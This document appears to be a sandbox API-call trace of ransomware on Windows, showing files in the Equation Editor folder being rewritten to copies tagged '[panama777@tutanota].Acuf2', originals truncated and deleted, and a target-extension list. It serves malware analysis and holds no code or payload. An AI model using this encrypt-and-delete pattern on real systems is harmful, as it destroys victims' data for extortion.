	[0058.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1
	[0058.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.300] lstrlenW (lpString=".doc") returned 4
	[0058.300] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString=".docx") returned 5
	[0058.300] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1
	[0058.300] lstrlenW (lpString=".pdf") returned 4
	[0058.300] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString=".xls") returned 4
	[0058.300] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString=".xlsx") returned 5
	[0058.300] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1
	[0058.300] lstrlenW (lpString=".ppt") returned 4
	[0058.300] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.300] lstrlenW (lpString=".zip") returned 4
	[0058.300] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString=".rar") returned 4
	[0058.300] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString=".bz2") returned 4
	[0058.300] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1
	[0058.300] lstrlenW (lpString=".7z") returned 3
	[0058.300] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1
	[0058.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.300] lstrlenW (lpString=".dbf") returned 4
	[0058.300] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1
	[0058.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.300] lstrlenW (lpString=".1cd") returned 4
	[0058.300] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1
	[0058.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.300] lstrlenW (lpString=".jpg") returned 4
	[0058.301] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.301] lstrlenW (lpString=".doc") returned 4
	[0058.301] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString=".docx") returned 5
	[0058.301] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1
	[0058.301] lstrlenW (lpString=".pdf") returned 4
	[0058.301] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString=".xls") returned 4
	[0058.301] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString=".xlsx") returned 5
	[0058.301] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1
	[0058.301] lstrlenW (lpString=".ppt") returned 4
	[0058.301] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.301] lstrlenW (lpString=".zip") returned 4
	[0058.301] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString=".rar") returned 4
	[0058.301] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1
	[0058.301] lstrlenW (lpString=".bz2") returned 4
	[0058.301] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1
	[0058.301] lstrlenW (lpString=".7z") returned 3
	[0058.301] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1
	[0058.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.301] lstrlenW (lpString=".dbf") returned 4
	[0058.301] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1
	[0058.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.302] lstrlenW (lpString=".1cd") returned 4
	[0058.302] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1
	[0058.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68
	[0058.302] lstrlenW (lpString=".jpg") returned 4
	[0058.302] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1
	[0058.302] lstrcmpiW (lpString1=".EXE", lpString2=".Acuf2") returned 1
	[0058.302] lstrlenW (lpString="EQNEDT32.EXE") returned 12
	[0058.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.303] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=543304) returned 1
	[0058.303] CloseHandle (hObject=0x1dc) returned 1
	[0058.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20
	[0058.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.303] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.303] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0058.304] GetLastError () returned 0x0
	[0058.304] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x84a48, lpOverlapped=0x0) returned 1
	[0058.315] WriteFile (in: hFile=0x158, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x84a50, lpOverlapped=0x0) returned 1
	[0058.325] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.325] WriteFile (in: hFile=0x158, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.325] SetEndOfFile (hFile=0x158) returned 1
	[0058.325] CloseHandle (hObject=0x158) returned 1
	[0058.325] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.325] SetEndOfFile (hFile=0x1dc) returned 1
	[0058.819] CloseHandle (hObject=0x1dc) returned 1
	[0058.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1
	[0058.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString=".doc") returned 4
	[0058.822] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0058.822] lstrlenW (lpString=".docx") returned 5
	[0058.822] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1
	[0058.822] lstrlenW (lpString=".pdf") returned 4
	[0058.822] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0058.822] lstrlenW (lpString=".xls") returned 4
	[0058.822] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0058.822] lstrlenW (lpString=".xlsx") returned 5
	[0058.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1
	[0058.822] lstrlenW (lpString=".ppt") returned 4
	[0058.822] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0058.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString=".zip") returned 4
	[0058.822] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0058.822] lstrlenW (lpString=".rar") returned 4
	[0058.822] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0058.822] lstrlenW (lpString=".bz2") returned 4
	[0058.822] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0058.822] lstrlenW (lpString=".7z") returned 3
	[0058.822] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0058.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString=".dbf") returned 4
	[0058.822] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0058.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString=".1cd") returned 4
	[0058.822] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0058.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.822] lstrlenW (lpString=".jpg") returned 4
	[0058.822] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.823] lstrlenW (lpString=".doc") returned 4
	[0058.823] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0058.823] lstrlenW (lpString=".docx") returned 5
	[0058.823] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1
	[0058.823] lstrlenW (lpString=".pdf") returned 4
	[0058.823] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString=".xls") returned 4
	[0058.823] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString=".xlsx") returned 5
	[0058.823] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1
	[0058.823] lstrlenW (lpString=".ppt") returned 4
	[0058.823] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.823] lstrlenW (lpString=".zip") returned 4
	[0058.823] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString=".rar") returned 4
	[0058.823] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0058.823] lstrlenW (lpString=".bz2") returned 4
	[0058.823] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0058.823] lstrlenW (lpString=".7z") returned 3
	[0058.823] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0058.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.823] lstrlenW (lpString=".dbf") returned 4
	[0058.823] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0058.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.823] lstrlenW (lpString=".1cd") returned 4
	[0058.823] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0058.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68
	[0058.824] lstrlenW (lpString=".jpg") returned 4
	[0058.824] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0058.824] lstrcmpiW (lpString1=".manifest", lpString2=".Acuf2") returned 1
	[0058.824] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21
	[0058.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.824] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=566) returned 1
	[0058.824] CloseHandle (hObject=0x1dc) returned 1
	[0058.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20
	[0058.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.825] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.825] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0058.825] GetLastError () returned 0x0
	[0058.825] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x236, lpOverlapped=0x0) returned 1
	[0058.826] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x240, lpOverlapped=0x0) returned 1
	[0058.827] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.827] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0058.827] SetEndOfFile (hFile=0x1f8) returned 1
	[0058.827] CloseHandle (hObject=0x1f8) returned 1
	[0058.828] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.828] SetEndOfFile (hFile=0x1dc) returned 1
	[0058.828] CloseHandle (hObject=0x1dc) returned 1
	[0058.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1
	[0058.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.829] lstrlenW (lpString=".doc") returned 4
	[0058.829] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString=".docx") returned 5
	[0058.829] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0058.829] lstrlenW (lpString=".pdf") returned 4
	[0058.829] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString=".xls") returned 4
	[0058.829] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString=".xlsx") returned 5
	[0058.829] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0058.829] lstrlenW (lpString=".ppt") returned 4
	[0058.829] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.829] lstrlenW (lpString=".zip") returned 4
	[0058.829] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString=".rar") returned 4
	[0058.829] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0058.829] lstrlenW (lpString=".bz2") returned 4
	[0058.830] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString=".7z") returned 3
	[0058.830] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString=".dbf") returned 4
	[0058.830] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString=".1cd") returned 4
	[0058.830] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString=".jpg") returned 4
	[0058.830] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString=".doc") returned 4
	[0058.830] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString=".docx") returned 5
	[0058.830] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0058.830] lstrlenW (lpString=".pdf") returned 4
	[0058.830] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString=".xls") returned 4
	[0058.830] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString=".xlsx") returned 5
	[0058.830] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0058.830] lstrlenW (lpString=".ppt") returned 4
	[0058.830] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.830] lstrlenW (lpString=".zip") returned 4
	[0058.830] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0058.830] lstrlenW (lpString=".rar") returned 4
	[0058.831] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0058.831] lstrlenW (lpString=".bz2") returned 4
	[0058.831] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0058.831] lstrlenW (lpString=".7z") returned 3
	[0058.831] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0058.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.831] lstrlenW (lpString=".dbf") returned 4
	[0058.831] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0058.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.831] lstrlenW (lpString=".1cd") returned 4
	[0058.831] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0058.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77
	[0058.831] lstrlenW (lpString=".jpg") returned 4
	[0058.831] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0058.831] lstrcmpiW (lpString1=".HLP", lpString2=".Acuf2") returned 1
	[0058.831] lstrlenW (lpString="EQNEDT32.HLP") returned 12
	[0058.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.832] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=176311) returned 1
	[0058.832] CloseHandle (hObject=0x1dc) returned 1
	[0058.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20
	[0058.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.832] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.832] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0058.832] GetLastError () returned 0x0
	[0058.833] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x2b0b7, lpOverlapped=0x0) returned 1
	[0058.837] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1
	[0058.840] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.840] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.840] SetEndOfFile (hFile=0x1f8) returned 1
	[0058.840] CloseHandle (hObject=0x1f8) returned 1
	[0058.841] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.841] SetEndOfFile (hFile=0x1dc) returned 1
	[0058.843] CloseHandle (hObject=0x1dc) returned 1
	[0058.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
